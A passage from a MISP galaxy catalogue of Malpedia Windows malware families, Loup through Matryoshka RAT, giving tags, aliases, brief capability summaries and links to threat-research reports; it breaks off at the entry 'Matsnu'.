The tag is: *misp-galaxy:malpedia="Loup"*

Loup is also known as:

Table 2521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loup
https://twitter.com/r3c0nst/status/1295275546780327936
https://twitter.com/Arkbird_SOLG/status/1295396936896438272

LOWBALL

LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. It uses the Dropbox API with a hardcoded bearer access token and has the ability to download, upload, and execute files. The communication occurs via HTTPS over port 443.

The tag is: *misp-galaxy:malpedia="LOWBALL"*

LOWBALL is also known as:

Table 2522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

LOWKEY

The tag is: *misp-galaxy:malpedia="LOWKEY"*

LOWKEY is also known as:

- PortReuse

Table 2523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey
https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html
https://www.mandiant.com/resources/apt41-us-state-governments
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf
https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/

lsassDumper

This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service "transfer.sh".

The tag is: *misp-galaxy:malpedia="lsassDumper"*

lsassDumper is also known as:

Table 2524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper
https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf

Luca Stealer

A stealer written in Rust.

The tag is: *misp-galaxy:malpedia="Luca Stealer"*

Luca Stealer is also known as:

Table 2525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer
https://blogs.blackberry.com/en/2022/08/luca-stealer-targets-password-managers-and-cryptocurrency-wallets

Lucifer

The tag is: *misp-galaxy:malpedia="Lucifer"*

Lucifer is also known as:

Table 2526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lucifer
https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/
https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/

Luminosity RAT

The tag is: *misp-galaxy:malpedia="Luminosity RAT"*

Luminosity RAT is also known as:

- LuminosityLink

Table 2527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/
https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/
https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/
http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html
https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

Lumma Stealer

Based on Mars Stealer.

The tag is: *misp-galaxy:malpedia="Lumma Stealer"*

Lumma Stealer is also known as:

Table 2528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
https://twitter.com/fumik0_/status/1559474920152875008

LunchMoney

```
An uploader that can exfiltrate files to Dropbox.
```

The tag is: *misp-galaxy:malpedia="LunchMoney"*

LunchMoney is also known as:

Table 2529. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://twitter.com/MrDanPerez/status/1097881406661902337

Lurk

The tag is: *misp-galaxy:malpedia="Lurk"*

Lurk is also known as:

Table 2530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader

Luzo

The tag is: *misp-galaxy:malpedia="Luzo"*

Luzo is also known as:

Table 2531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luzo

Lyceum .NET DNS Backdoor

This .NET written malware is used as backdoor using the dns protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using HTTP (.Net) and also one written in Golang.

The tag is: *misp-galaxy:malpedia="Lyceum .NET DNS Backdoor"*

Lyceum .NET DNS Backdoor is also known as:

Table 2532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_dns_backdoor_dotnet
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/
https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor

Lyceum .NET TCP Backdoor

This .Net written malware is used as backdoor using the http protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using DNS (.Net) and also one written in Golang.

The tag is: *misp-galaxy:malpedia="Lyceum .NET TCP Backdoor"*

Lyceum .NET TCP Backdoor is also known as:

Table 2533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_dotnet
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

Lyceum Golang HTTP Backdoor

This Golang written malware is used as backdoor using the http protocol by a state sponsored threat actor (TA). This backdoor is running in a loop of three stages: - Check the connectivity - Registration of the victim - Retrieval and execution of commands This TA is using also variants .NET backdoors utilizing HTTP and DNS.

The tag is: *misp-galaxy:malpedia="Lyceum Golang HTTP Backdoor"*

Lyceum Golang HTTP Backdoor is also known as:

Table 2534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_golang
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

Lyposit

The tag is: *misp-galaxy:malpedia="Lyposit"*

Lyposit is also known as:

- Adneukine
- Bomba Locker
- Lucky Locker

Table 2535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit
https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/
http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html
http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html

M00nD3V Logger

The tag is: *misp-galaxy:malpedia="M00nD3V Logger"*

M00nD3V Logger is also known as:

Table 2536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v
https://www.zscaler.com/blogs/research/deep-dive-m00nd3v-logger

m0yv

Modular x86/x64 file infector created/used by Maze ransomware developer. According to the author, it has been mistakenly tagged by AVs as Expiro.

The tag is: *misp-galaxy:malpedia="m0yv"*

m0yv is also known as:

Table 2537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py

Macaw

The tag is: *misp-galaxy:malpedia="Macaw"*

Macaw is also known as:

Table 2538. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

Machete

According to ESET, Machete's dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64-encoded text that corresponds to AES-encrypted strings. GoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence. Regarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it's given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL. The GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.

The tag is: *misp-galaxy:malpedia="Machete"*

Machete is also known as:

- El Machete

Table 2539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.machete
https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html
https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america
https://securelist.com/el-machete/66108/
https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf
https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/

MadMax

The tag is: *misp-galaxy:malpedia="MadMax"*

MadMax is also known as:

Table 2540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax

Magala

The tag is: *misp-galaxy:malpedia="Magala"*

Magala is also known as:

Table 2541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magala
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/

MagicRAT

The tag is: *misp-galaxy:malpedia="MagicRAT"*

MagicRAT is also known as:

Table 2542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat
https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html

Magniber

The tag is: *misp-galaxy:malpedia="Magniber"*

Magniber is also known as:

Table 2543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber
https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/

https://www.youtube.com/watch?v=lqWJaaofNf4
https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/
https://asec.ahnlab.com/en/19273/
https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/
https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/
https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372
http://asec.ahnlab.com/1124
https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/
https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware
https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/
https://asec.ahnlab.com/en/30645/
https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/
https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/
https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/

Mailto

The tag is: *misp-galaxy:malpedia="Mailto"*

Mailto is also known as:

- Koko Ransomware
- NetWalker

Table 2544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/
https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million
https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/
https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers
https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/
https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf
https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html
https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/
https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://sites.temple.edu/care/ci-rw-attacks/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.justice.gov/usao-mdfl/press-release/file/1360846/download
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://zero2auto.com/2020/05/19/netwalker-re/
https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/
https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf
https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/
https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/
https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware
https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/
https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware
https://www.youtube.com/watch?v=q8of74upT_g
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/
https://www.ic3.gov/media/news/2020/200929-2.pdf
https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf
https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://lopqto.me/posts/automated-dynamic-import-resolving
https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/
https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
https://zengo.com/bitcoin-ransomware-detective-ucsf/
https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html

Mail-O

The tag is: *misp-galaxy:malpedia="Mail-O"*

Mail-O is also known as:

Table 2545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o
https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/
https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf
https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://blog.group-ib.com/task

MajikPos

The tag is: *misp-galaxy:malpedia="MajikPos"*

MajikPos is also known as:

Table 2546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos
https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/

Makadocs

The tag is: *misp-galaxy:malpedia="Makadocs"*

Makadocs is also known as:

Table 2547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs
http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html
https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

MakLoader

The tag is: *misp-galaxy:malpedia="MakLoader"*

MakLoader is also known as:

Table 2548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader
https://twitter.com/James_inthe_box/status/1046844087469391872

Makop Ransomware

The tag is: *misp-galaxy:malpedia="Makop Ransomware"*

Makop Ransomware is also known as:

Table 2549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware
https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf
https://twitter.com/siri_urz/status/1221797493849018368
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/

Maktub

The tag is: *misp-galaxy:malpedia="Maktub"*

Maktub is also known as:

Table 2550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/
https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html

MalumPOS

The tag is: *misp-galaxy:malpedia="MalumPOS"*

MalumPOS is also known as:

Table 2551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf

Mamba

The tag is: *misp-galaxy:malpedia="Mamba"*

Mamba is also known as:

- DiskCryptor
- HDDCryptor

Table 2552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba
http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/
https://www.ic3.gov/Media/News/2021/210323.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://securelist.com/the-return-of-mamba-ransomware/79403/

ManameCrypt

The tag is: *misp-galaxy:malpedia="ManameCrypt"*

ManameCrypt is also known as:

- CryptoHost

Table 2553. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt
https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route

Mangzamel

The tag is: *misp-galaxy:malpedia="Mangzamel"*

Mangzamel is also known as:

- junidor
- mengkite
- vedratve

Table 2554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel
https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

Manifestus

The tag is: *misp-galaxy:malpedia="Manifestus"*

Manifestus is also known as:

Table 2555. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware
https://twitter.com/struppigel/status/811587154983981056

ManItsMe

The tag is: *misp-galaxy:malpedia="ManItsMe"*

ManItsMe is also known as:

Table 2556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Manjusaka (Windows)

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: *misp-galaxy:malpedia="Manjusaka (Windows)"*

Manjusaka (Windows) is also known as:

Table 2557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka
https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html
https://github.com/avast/ioc/tree/master/Manjusaka

Maoloa

Ransomware family closely related to GlobeImposter, notable for its use of SHACAL-2 encryption algorithm.

The tag is: *misp-galaxy:malpedia="Maoloa"*

Maoloa is also known as:

Table 2558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa
https://id-ransomware.blogspot.com/2019/02/maoloa-ransomware.html

MAPIget

The tag is: *misp-galaxy:malpedia="MAPIget"*

MAPIget is also known as:

Table 2559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Marap

Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.

The tag is: *misp-galaxy:malpedia="Marap"*

Marap is also known as:

Table 2560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.marap
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

Mariposa

The tag is: *misp-galaxy:malpedia="Mariposa"*

Mariposa is also known as:

- Autorun
- Palevo
- Rimecud

Table 2561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa

https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/
https://www.us-cert.gov/ics/advisories/ICSA-10-090-01
https://defintel.com/docs/Mariposa_Analysis.pdf

MarkiRAT

The tag is: *misp-galaxy:malpedia="MarkiRAT"*

MarkiRAT is also known as:

Table 2562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.markirat
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Mars

Ransomware written in Delphi.

The tag is: *misp-galaxy:malpedia="Mars"*

Mars is also known as:

- MarsDecrypt

Table 2563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mars
https://id-ransomware.blogspot.com/2020/10/mars-ransomware.html

Mars Stealer

3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.

The tag is: *misp-galaxy:malpedia="Mars Stealer"*

Mars Stealer is also known as:

Table 2564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer
https://x-junior.github.io/malware%20analysis/MarsStealer/

https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://cert.gov.ua/article/38606
https://3xp0rt.com/posts/mars-stealer
https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer
https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/
https://cyberint.com/blog/research/mars-stealer/
https://isc.sans.edu/diary/rss/28468
https://ke-la.com/information-stealers-a-new-landscape/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer
https://blog.morphisec.com/threat-research-mars-stealer
https://blog.sekoia.io/mars-a-red-hot-information-stealer/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://resources.infosecinstitute.com/topic/mars-stealer-malware-analysis/
https://blog.cyble.com/2022/08/02/fake-atomic-wallet-website-distributing-mars-stealer/

Masad Stealer

The tag is: *misp-galaxy:malpedia="Masad Stealer"*

Masad Stealer is also known as:

Table 2565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.masad_stealer
https://blogs.juniper.net/en-us/threat-research/masad-stealer-exfiltrating-using-telegram

MASS Logger

MassLogger is a .NET credential stealer. It starts with a launcher that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload.

The tag is: *misp-galaxy:malpedia="MASS Logger"*

MASS Logger is also known as:

Table 2566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.masslogger
https://www.gdatasoftware.com/blog/2020/06/36129-harmful-logging-diving-into-masslogger
https://blog.talosintelligence.com/2021/02/masslogger-cred-exfil.html
https://www.seqrite.com/blog/masslogger-an-emerging-spyware-and-keylogger/
https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7
https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/
https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html
https://twitter.com/pancak3lullz/status/1255893734241304576
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://decoded.avast.io/anhho/masslogger-v3-a-net-stealer-with-serious-obfuscation/
https://fr3d.hk/blog/masslogger-frankenstein-s-creation

Matanbuchus

The tag is: *misp-galaxy:malpedia="Matanbuchus"*

Matanbuchus is also known as:

Table 2567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus
https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/
https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html
https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a
https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/
https://isc.sans.edu/diary/rss/28752
https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/

Matiex

Matiex Keylogger is being sold in the underground forums, due to their gained popularity, and can also be used as MaaS (Malware-as-a-service) because of their ease of use, competitive pricing and immediate response from support.

The tag is: *misp-galaxy:malpedia="Matiex"*

Matiex is also known as:

Table 2568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matiex
https://labs.k7computing.com/index.php/matiex-on-sale-underground/

Matrix Banker

The tag is: *misp-galaxy:malpedia="Matrix Banker"*

Matrix Banker is also known as:

Table 2569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Matrix Ransom

The tag is: *misp-galaxy:malpedia="Matrix Ransom"*

Matrix Ransom is also known as:

Table 2570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom
https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf
https://unit42.paloaltonetworks.com/matrix-ransomware/
https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware
https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

Matryoshka RAT

The tag is: *misp-galaxy:malpedia="Matryoshka RAT"*

Matryoshka RAT is also known as:

Table 2571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
http://www.clearskysec.com/tulip/

Matsnu

